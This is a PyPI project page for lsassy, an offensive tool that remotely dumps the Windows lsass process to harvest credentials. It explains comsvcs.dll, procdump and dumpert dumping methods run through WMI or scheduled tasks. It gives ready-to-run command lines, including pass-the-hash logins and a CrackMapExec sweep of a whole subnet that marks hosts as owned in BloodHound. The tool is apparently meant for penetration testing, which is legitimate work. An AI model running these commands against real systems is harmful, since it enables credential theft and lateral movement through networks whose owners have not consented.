Skip to main content

Python library to parse remote lsass dumps

Project description

lsassy

PyPI version Twitter

CME Module example

Python library to remotely extract credentials. This blog post explains how it works.

You can check the wiki

This library uses impacket project to remotely read necessary bytes in lsass dump and pypykatz to extract credentials.

Chapters Description
Requirements Requirements to install lsassy from source
Installation Installation commands from pip or from source
Basic Usage Command line template for standalone version
Advanced Usage Advanced usage (Dumping methods, execution methods, ...)
CrackMapExec Module Link to CrackMapExec module included in this repository
Examples Command line examples for standalone and CME module
Issues Read this before creating an issue
Acknowledgments Kudos to these people and tools
Contributors People contributing to this tool

Requirements

Installation

From pip

python3.7 -m pip install lsassy

From sources

python3.7 setup.py install

Basic Usage

lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target>

Advanced

Dumping methods

This tool can dump lsass in different ways.

Dumping methods (-m or --method)

  • 0: Try all methods (dll then procdump) to dump lsass, stop on success (Requires -p if dll method fails)
  • 1: comsvcs.dll method, stop on success (default)
  • 2: Procdump method, stop on success (Requires -p)
  • 3: comsvcs.dll + Powershell method, stop on success
  • 4: comsvcs.dll + cmd.exe method
  • 5: (unsafe) Dumpert method, stop on success (Requires -u)

comsvcs.dll method

This method only uses built-in Windows files to extract remote credentials. It uses minidump function from comsvcs.dll to dump lsass process.

This method can only be used when context has SeDebugPrivilege. This privilege is either in Powershell local admin context, or cmd.exe SYSTEM context.

Two execution methods can be used.

  1. WMIExec with cmd.exe (no SeDebugPrivilege), or powershell (SeDebugPrivilege)
  2. ScheduledTasks with SYSTEM context (SeDebugPrivilege)

Procdump method

This method uploads procdump.exe from SysInternals to dump lsass process. It will first try to execute procdump using WMI, and if it fails it will create a remote task, execute it and delete it.

Procdump method

This method uploads dumpert.exe to dump lsass process. It will first try to execute dumpert using WMI, and if it fails it will create a remote task, execute it and delete it.

Examples

lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 0 -p /path/to/procdump.exe
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 1
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 2 -p /path/to/procdump.exe
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 3
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 4
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 5 -u /path/to/dumpert.exe

Remote parsing only

lsassy can parse an already dumped lsass process.

lsassy [--hashes [LM:]NT] --dumppath /share/path/to/dump.dmp [<domain>/]<user>[:<password>]@<target>

CrackMapExec module

I wrote a CrackMapExec module that uses lsassy to extract credentials on compromised hosts

CrackMapExec module is in cme folder : CME Module

Examples

lsassy

# RunDLL Method
lsassy adsec.local/jsnow:Winter_is_coming@dc01.adsec.local

# Procdump Method
lsassy -m 2 -p /tmp/procdump.exe adsec.local/jsnow:Winter_is_coming@dc01.adsec.local

# Dumpert Method
lsassy -m 5 -p /tmp/dumpert.exe adsec.local/jsnow:Winter_is_coming@dc01.adsec.local

# Remote parsing only
lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/jsnow:Winter_is_coming@dc01.adsec.local

# NT Hash Authentication
lsassy --hashes 952c28bd2fd728898411b301475009b7 Administrator@desktop01.adsec.local

CME Module

crackmapexec smb 10.0.0.0/24 -d adsec.local -u Administrator -p Passw0rd -M lsassy -o BLOODHOUND=True NEO4JPASS=bloodhound DUMPERT_PATH=/tmp/dumpert.exe 

ChangeLog

v1.1.0
------
* Better execution process : --method flag has been added and described in help text
* Uses random dump name
* Chose between cmd, powershell, dll and/or procdump methods
* CME module is now using light lsassy WMIExec et TASKExec implementation
* Bug fixes

v1.0.0
------
* Built-in lsass dump
** Lsass dump using built-in Windows
** Lsass dump using procdump (using -p parameter)
* Add --dumppath to ask for remote parsing only
* Code refactoring
* Add --quiet to quiet output

v0.2.0
------
* Add BloodHound option to CME module (-o BLOODHOUND=True)
    - Set compromised targets as "owned" in BloodHound
    - Check if compromised users have at least one path to domain admin
* Custom parsing (json, grep, pretty [default])
* New --hashes option to lsassy
* Include CME module in repository
* Add credentials to CME database


v0.1.0
------
First release

Issues

If you find an issue with this tool (that's very plausible !), please

  • Check that you're using the latest version
  • Send as much details as possible.
    • For standalone lsassy, please use the -d debug flag
    • For CME module, please use CrackMapExec --verbose flag

Acknowledgments

  • Impacket
  • SkelSec for Pypykatz, but also for his patience and help
  • mpgn for his help and ideas

Contributors

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

lsassy-1.1.7.tar.gz (16.4 kB view details)

Uploaded Source

Built Distribution

lsassy-1.1.7-py3-none-any.whl (18.9 kB view details)

Uploaded Python 3

File details

Details for the file lsassy-1.1.7.tar.gz.

File metadata

  • Download URL: lsassy-1.1.7.tar.gz
  • Upload date:
  • Size: 16.4 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.1.1 pkginfo/1.5.0.1 requests/2.21.0 setuptools/40.8.0 requests-toolbelt/0.9.1 tqdm/4.40.0 CPython/3.7.3

File hashes

Hashes for lsassy-1.1.7.tar.gz
Algorithm Hash digest
SHA256 c84b9a7ac7e0362e34ad73f177556f867f35be0cde66e9284c299e1b02748a5f
MD5 4f1f327bb2ce041fe81581aad4435122
BLAKE2b-256 22494762d171aeec7d2e89dcca3396aa483d038fa3f05d4df122157a09772884

See more details on using hashes here.

File details

Details for the file lsassy-1.1.7-py3-none-any.whl.

File metadata

  • Download URL: lsassy-1.1.7-py3-none-any.whl
  • Upload date:
  • Size: 18.9 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.1.1 pkginfo/1.5.0.1 requests/2.21.0 setuptools/40.8.0 requests-toolbelt/0.9.1 tqdm/4.40.0 CPython/3.7.3

File hashes

Hashes for lsassy-1.1.7-py3-none-any.whl
Algorithm Hash digest
SHA256 fc070a2aa7d94b1ab8d1866831a732da0f2f56a087aebc2f21e15cfc6c5b8e5e
MD5 76125733b1f45ba9eee8f1698972469f
BLAKE2b-256 70b22f79683562ed52377e79bebea099efd66c5fff394c77add8a76c145d2504

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page